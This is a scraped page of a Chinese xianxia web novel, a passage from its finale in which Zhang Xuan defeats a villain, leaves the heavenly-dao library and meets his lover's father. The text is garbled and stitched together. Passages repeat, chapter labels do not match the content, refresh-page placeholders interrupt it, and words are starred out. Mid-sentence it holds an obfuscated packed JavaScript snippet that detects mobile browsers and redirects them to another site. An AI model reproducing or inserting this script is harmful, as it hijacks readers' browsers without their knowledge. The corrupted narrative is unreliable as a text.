之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第58章桃李天下 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546031|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第59章不再局限于一隅 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 